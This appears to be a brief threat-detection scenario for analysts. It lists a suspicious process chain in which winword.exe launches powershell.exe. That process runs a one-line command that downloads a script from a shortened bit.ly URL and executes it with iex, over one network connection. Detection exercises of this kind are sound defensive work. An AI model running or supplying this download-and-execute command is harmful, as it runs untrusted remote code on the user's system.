Scenario #1

Parent process: winword.exe
Process: powershell.exe
Process CLI: 
powershell.exe  iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)
Network connection count: 1